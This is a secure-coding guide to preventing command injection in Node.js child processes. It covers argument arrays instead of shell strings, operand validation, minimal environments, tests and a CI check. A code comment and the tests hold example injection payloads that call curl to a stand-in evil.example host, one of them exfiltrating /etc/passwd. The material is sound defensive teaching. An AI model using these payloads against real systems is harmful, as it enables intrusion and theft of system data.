Preventing Command Injection in Node.js Child Processes

Command injection has the worst consequence-to-effort ratio in the injection family. There is no interpreter subtlety to exploit and no filter to evade — a semicolon in a filename becomes a second command, running with the privileges of the service. And unlike database injection, where an ORM usually stands between the developer and the mistake, shelling out is something people do deliberately, in a hurry, to call a tool that already exists.

This guide covers the concrete controls: choosing the API that never invokes a shell, validating operands, constraining the spawned process, and proving with tests that metacharacters are inert. It is part of the Injection Attack Prevention guide within Vulnerability Patterns & Web Mitigation Strategies.

Prerequisites

  • A Node.js service that invokes external tools — media conversion, archiving, document rendering
  • An inventory of every call site that spawns a process
  • A test runner able to assert on process output and exit codes
  • A static analysis step in the pipeline

Expected Outcomes

  • No call site invoking a shell with interpolated user data
  • Every user-derived operand validated against an allowlist before it is passed
  • Spawned processes running with a minimal environment, a timeout and an output cap
  • Tests asserting that shell metacharacters arrive as literal arguments

Step 1: Choose the API That Never Invokes a Shell

const { exec, execFile, spawn } = require('node:child_process');
const { promisify } = require('node:util');
const execFileAsync = promisify(execFile);

// VULNERABLE: a single string, parsed by a shell. Everything after a semicolon is a new command.
exec(`convert ${req.body.filename} -resize 200x200 out.png`, cb);
// filename = "a.png; curl https://evil.example/$(cat /etc/passwd)"

// SECURE: an argument array, no shell. The same value is one literal operand.
await execFileAsync('convert', [inputPath, '-resize', '200x200', outputPath]);

The distinction is not stylistic. With an argument array there is no shell to interpret a semicolon, a backtick, a pipe or a dollar sign, so those characters arrive at the program as ordinary bytes in a filename. Any option that re-enables a shell — including the shell: true flag on the array form — puts the vulnerability straight back.

One Value, Two Very Different Journeys In the shell-invoking path the interpolated string is handed to a shell, which splits it on the semicolon and executes a second command with the service's privileges. In the argument-array path the same string is passed directly to the program as a single operand, so the program simply reports that no such file exists. Shell-invoking call User value a.png; curl evil… Shell parses it semicolon splits commands Second command runs with the service's full privileges Argument-array call Same user value a.png; curl evil… No shell exists one array element, one operand Program reports: no such file the metacharacters are just bytes

Step 2: Validate Operands, and Stop Options Being Injected

Removing the shell stops command injection. It does not stop a value that begins with a dash from being read as an option.

const path = require('node:path');

const SAFE_NAME = /^[a-zA-Z0-9._-]{1,120}$/;      // no slashes, no spaces, no leading dash rules bypassed
const ALLOWED_FORMATS = new Set(['png', 'jpg', 'webp']);

function safeOperand(name) {
  if (!SAFE_NAME.test(name) || name.startsWith('-') || name.includes('..')) {
    throw new HttpError(400, 'invalid file name');
  }
  return name;
}

async function convert(userFileName, userFormat) {
  const name   = safeOperand(userFileName);
  const format = ALLOWED_FORMATS.has(userFormat) ? userFormat : (() => {
    throw new HttpError(400, 'unsupported format');
  })();

  const input  = path.join(UPLOAD_DIR, name);
  const output = path.join(OUTPUT_DIR, `${path.parse(name).name}.${format}`);

  // The double dash tells the program that everything after it is an operand, never an option.
  await execFileAsync('convert', ['-resize', '200x200', '--', input, output]);
  return output;
}

Three separate controls appear here, and each covers a different failure. The pattern rejects path traversal and metacharacters. The leading-dash check stops option injection where the tool has no separator support. The double dash covers the case where a permitted character sequence still resembles an option to the program being invoked.

Three Controls, Three Distinct Failures The character pattern rejects traversal and metacharacters before anything runs. The leading-dash check stops a filename being read as an option by the invoked program. The double-dash separator covers the case where a permitted character sequence still resembles an option. Each addresses a failure the others do not. Character allowlist on the operand rejects traversal, spaces and metacharacters before the process is spawned Leading-dash rejection stops a filename being parsed as a flag by the program you invoke Double-dash separator tells the program that everything after it is an operand, never an option Why all three removing the shell stops command injection; none of that stops argument injection

Step 3: Constrain the Process You Just Started

const { spawn } = require('node:child_process');

function runBounded(cmd, args, { timeoutMs = 10_000, maxOutputBytes = 5_000_000 } = {}) {
  return new Promise((resolve, reject) => {
    const child = spawn(cmd, args, {
      shell: false,                     // explicit, so a later edit has to argue with it
      cwd: WORK_DIR,                    // fixed, never derived from input
      env: {                            // minimal: no secrets inherited from the service
        PATH: '/usr/local/bin:/usr/bin:/bin',
        HOME: WORK_DIR,
        LANG: 'C.UTF-8',
      },
      stdio: ['ignore', 'pipe', 'pipe'],
      timeout: timeoutMs,
      killSignal: 'SIGKILL',
    });

    let out = Buffer.alloc(0), size = 0;
    child.stdout.on('data', (chunk) => {
      size += chunk.length;
      if (size > maxOutputBytes) { child.kill('SIGKILL'); reject(new Error('output too large')); return; }
      out = Buffer.concat([out, chunk]);
    });
    child.on('error', reject);
    child.on('close', (code) => (code === 0 ? resolve(out) : reject(new Error(`exit ${code}`))));
  });
}

The environment is the control people skip. A child process inherits the parent’s environment by default, which on a typical service means database passwords, cloud credentials and API keys — all readable by any code that ends up running in that child. Passing a minimal environment turns a successful injection somewhere else in the system into a much smaller problem.

What a Child Process Inherits by Default A spawned child inherits the parent environment unless you replace it, which on a typical service means database credentials, cloud keys and API tokens are readable by whatever runs in that child. Passing a minimal environment turns a successful injection elsewhere in the system into a far smaller problem. Inherited by default: database credentials readable by any code that ends up executing inside the child Inherited by default: cloud keys and API tokens the material an attacker most wants, handed over with no extra step Replaced explicitly: path, home, locale everything the tool actually needs, and nothing it does not Plus a fixed working directory never derived from input, so a relative path cannot escape somewhere useful

Verification

it('treats shell metacharacters as literal filename bytes', async () => {
  const hostile = 'a.png; curl https://evil.example/$(whoami)';
  await expect(convert(hostile, 'png')).rejects.toThrow(/invalid file name/);
});

it('does not execute even when validation is bypassed at the API layer', async () => {
  // Call the low-level runner directly with a hostile operand.
  await expect(runBounded('echo', ['hello; touch /tmp/pwned'])).resolves.toBeDefined();
  expect(fs.existsSync('/tmp/pwned')).toBe(false);      // no shell ever parsed the semicolon
});

it('refuses a leading-dash operand', async () => {
  await expect(convert('-write', 'png')).rejects.toThrow(/invalid file name/);
});

it('kills a long-running child at the timeout', async () => {
  await expect(runBounded('sleep', ['60'], { timeoutMs: 200 })).rejects.toThrow();
});

it('does not leak the service environment to the child', async () => {
  const out = (await runBounded('env', [])).toString();
  expect(out).not.toMatch(/DATABASE_URL|AWS_|API_KEY/);
});
- name: Forbid shell-invoking process calls
  run: |
    if grep -REn "\b(exec|execSync)\s*\(|shell:\s*true" src/; then
      echo "::error::Use execFile or spawn with an argument array and shell:false."
      exit 1
    fi

The environment test is worth having permanently: environment inheritance is invisible in review and reintroduces itself whenever someone copies a working call site.


Troubleshooting

Symptom Likely cause Fix
Tool works from the terminal, fails from the service Minimal environment lacks something the tool needs Add the specific variable, not the whole environment
Arguments containing spaces are split Passing a single string where an array is expected Pass each argument as its own array element
A filename beginning with a dash is treated as a flag No separator and no leading-dash check Add both: reject leading dashes, and pass a double dash
Child process ignores the timeout Process spawns children of its own Kill the process group, not just the direct child
Output truncation crashes the handler No cap on collected output Cap the byte count and terminate the child when exceeded
Static gate fires on a legitimate use The call genuinely needs a shell pipeline Rebuild the pipeline from spawned processes connected by streams

Common Implementation Mistakes


Frequently Asked Questions

Is escaping user input for the shell ever acceptable?

Treat it as a last resort, and expect to get it wrong. Quoting rules differ between shells and platforms, nested quoting is easy to misjudge, and one missed case is complete command execution rather than a partial failure. The argument-array form removes the shell from the picture entirely. Where a genuine pipeline is needed, build it from several spawned processes connected by streams — more code, and no interpreter deciding what your string means.

Does avoiding the shell make argument injection impossible?

It stops command injection but not argument injection. A user-controlled value beginning with a dash may still be read as an option by the program you invoke, which can mean writing to a path of the attacker’s choosing or enabling a mode you did not intend. Validate operands against an allowlist, reject leading dashes explicitly, and pass a double-dash separator where the tool supports it so nothing afterwards is parsed as an option.

What about commands built in configuration files?

They deserve exactly the same scrutiny as code, because a configuration value that becomes a command line is a command line. The common pattern is a job definition template interpolating a field from a database row that somebody else can write. Treat any configuration string reaching a process spawn as untrusted input, and prefer structured job definitions carrying an explicit argument array over a single command string that something has to parse.